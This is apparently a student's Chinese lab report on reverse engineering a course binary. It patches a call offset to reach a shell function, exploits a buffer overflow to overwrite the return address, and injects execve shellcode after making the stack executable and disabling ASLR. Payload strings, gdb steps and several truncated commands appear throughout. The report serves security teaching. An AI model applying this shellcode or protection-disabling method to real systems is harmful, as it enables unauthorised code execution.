Exp1 PC平台逆向破解----20164325 王晓蕊
前言:实验中用到的知识
JE:条件转移指令,如果相等则跳转;
JNE:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转;
JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出;
NOP:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令;
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
根据内容得出(在实验中我只保留了关键的三个部分,所以没放部分汇编指令的部分的截图)
JE 汇编指令的机器码是“”
objdump反汇编常用参数:
objdump -d <file(s)> 将代码段反汇编
xxd命令:
:%!xxd 回车后,该文件会以十六进制形式显示
:%!xxd -r 参数-r是指将当前的十六进制转换为二进制;
一:直接修改程序机器指令,改变程序执行流程
把老师给的pwn1放在了桌面并且重命名为20164325wxr,所以我需要 cd Desktop ;因为害怕会出错所以要备份 cp 20164325wxr 。
进行反汇编:使用命令 objdump -d | more
观察getshell,foo,main;
原理:main函数中的地址”80484b5“所对应的“call 8048491”这条指令是调用地址为”8048491“的foo函数,而对应指令为“e8 d7ffffff”;“e8”是跳转指令,如果按正常情况进行,会执行main函数的下一步,也就是“80484ba”地址的指令,所以按老师上课所讲内容,此时的EIP值就为“80484ba”。
在这里执行的是”call“指令,cpu就会转而执行 “EIP + d7ffffff”这个指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29就是8048491这个值。
所以只要修改d7ffffff为"getShell-80484ba"的补码,就能实现调用getShell,所以需要把d7ffffff变c3ffffff。
过程:
1. Vi 进行命令模式
2. :%!xxd 将显示模式切换为十六进制
在底行模式输入/e8 d7定位需要修改的地方,中间加一个空格更好找。
3.选中修改为c3
输入 :%!xxd -r 将十六进制转换为原格式
使用 :wq 保存并退出
结果为:
4. ./ 得到shell提示符
二:通过构造输入参数,造成BOF攻击,改变程序执行流
原理:foo函数中存在漏洞,可以利用foo在读写字符串是的漏洞造成缓冲区溢出,达到调用shell的目的。覆盖原返回地址080484ba,覆盖的部分为getShell函数起始地址0804847d,在对其进行攻击。
过程:
1.我先备份一个文件名为201643251
2.使用gdb进行调试,运行可执行文件,输入:1111111122222222333333334444444455555555
输入 info r eip 查看eip寄存器的值,我记得与实验指导相同,是35353535确定是55555555部分覆盖了返回地址
(这里找eip寄存器的值的截图不见了)
3.进一步确定范围,同上输入1111111122222222333333334444444412345678
输入 info r eip 查看寄存器的值,因为得出的是34333231所以确定是1234部分覆盖了返回地址,并且是倒序
4.键盘不能直接输入十六进制,所以要先生成包括\x7d\x84\x04\x08的字符串文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input
用 xxd input 十六进制显示文件
确认无误后,查看文件并通过管道将查看结果送入201643251中运行
三:注入Shellcode并执行
1. apt-get install execstack 先安装execstack
execstack -s 并设置堆栈可执行
execstack -q 查询是否可执行
more /proc/sys/kernel/randomize_va_space 查询是否关闭地址随机化,2为开启,0为关闭
echo " > /proc/sys/kernel/randomize_va_space 关闭地址随机化
2.注入shellcode
把输入的字串放入input_shellcode文件里
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
再输入 (cat input_shellcode;cat)| ./ 注意只打一次空格
另外打开一个终端,输入 ps -ef | grep 来查看201643251的进程号
输入指令 attach 调试这个进程
使用指令 disassemble foo 设置断点
break *0x080484ae 在另外一个终端中按下回车。
通过 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x60\xd3\xff\xff即可
四:实验总结
在这次实践中,通过三种方法改变了执行文件的执行流程,对应着三种不同的攻击思想;第一个是通过改地址来改变程序执行的流程,第二个是强行改变流程,第三个是注入shell代码攻击。
让我感受到了系统中存在很多漏洞,而什么是漏洞?漏洞有什么危害?我觉得漏洞就是存在的系统的缺点,就是能让外界有机可乘的缺点,开发者开发的时候会出现的一些想不到的地方,如果对这些地方进行攻击就会有相对的危害,而且我觉得漏洞是很常见的,有大漏洞也有小漏洞,但是只要是有漏洞的就是很致命的;关于漏洞的危害,漏洞出现就要及时的解决掉要不然就会发生很累恐怖的事情,比如黑客可以用过漏洞来监视你的生活,盗取你的文件;是你的系统瘫痪,对你进行勒索等等危害。
五:实验感想和收获
通过这次实验我真的学到了很多东西,本来在老师上课的时候讲的东西,对我来说还是一知半解,但是通过这次的实验,我对于这方面的知识就掌握的比较牢固了;这个实验我真的做了很长时间,不会的就会看实验指导和问同学,这个因为我的粗心所以重做了很多次,到最后一个攻击注入shellcode的时候在开启另外一个终端的时候,我按了两次回车,结果没有成功;我又做了了一遍才成功,这就说明做实验的时候一定要仔细,而且上课要好好听课,实验指导书步骤很清楚要仔细看!这次实验是第一次实验,我也是第一次接触博客,学到了实验外的很多应用,也有很多不足的地方,之后我会努力改进我的不足。
Exp1 PC平台逆向破解----20164325 王晓蕊的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
随机推荐
- 关于Collections.sort()排序方法的源码探索
/**下面在自己代码中使用Collections.sort()方法去比较Student对象,通过在自己写的类里面通过匿名内部类实现Comparator接口,这个接口是让你自己实现比较器的规则*/ // ...
- Python开发【第十篇】:RabbitMQ队列
简介 RabbitMQ是流行的开源消息队列系统,用erlang语言开发.RabbitMQ是AMQP(高级消息队列协议)的标准实现. 安装 首先安装erlang环境. 官网:http://www.erl ...
- 100-days: twenty-four
Title: No word of a lie: scientists rate(评出) the world's biggest peddlers of bull(说瞎话的人,扯淡的人) bullsh ...
- LAB8 android
妈的,标签名字能改成自己的名字,我也是个神人嘞. 明明是去掉两个括号,怎么变成3个了,醉了. 点组件,attribute,可以修改对应的值.非常直观?. content_mail.XML要设置ID才能 ...
- php 守护进程(Daemon)
守护进程(daemon)是一类在后台运行的特殊进程,用于执行特定的系统任务. 很多守护进程在系统引导的时候启动,并且一直运行直到系统关闭. 守护进程一直在后台运行,脱离终端运行的程序 独立运行的守护进 ...
- 深入理解HashMap和CurrentHashMap
原文链接:https://segmentfault.com/a/1190000015726870 前言 Map 这样的 Key Value 在软件开发中是非常经典的结构,常用于在内存中存放数据. 本篇 ...
- svg绘制一个简单地饼图
一个简单地svg绘制饼图的demo,代码如下 <!DOCTYPE html> <html> <head> <meta charset="UTF-8& ...
- Git merge 不同的branch
Git的优势是可以创建不同的branch,然后在每个branch上开发.那么问题是:如果不同的branch之间需要做同步,比如sourceBranch上做的修改也需要同步到targetBranch,改 ...
- MongoDB的Replica Set以及Auth的配置
http://blog.0x01.site/2017/01/13/MongoDB%E7%9A%84Replica-Set%E4%BB%A5%E5%8F%8AAuth%E7%9A%84%E9%85%8D ...
- python 10 迭代器和三元运算符
一.迭代器 1.迭代器协议:对象必须提供一种next方法,执行该方法要么返回迭代中的下一项,要么引起一个stopIteration异常,终止迭代 2.可迭代对象:实现了迭代器协议的对象 3.pytho ...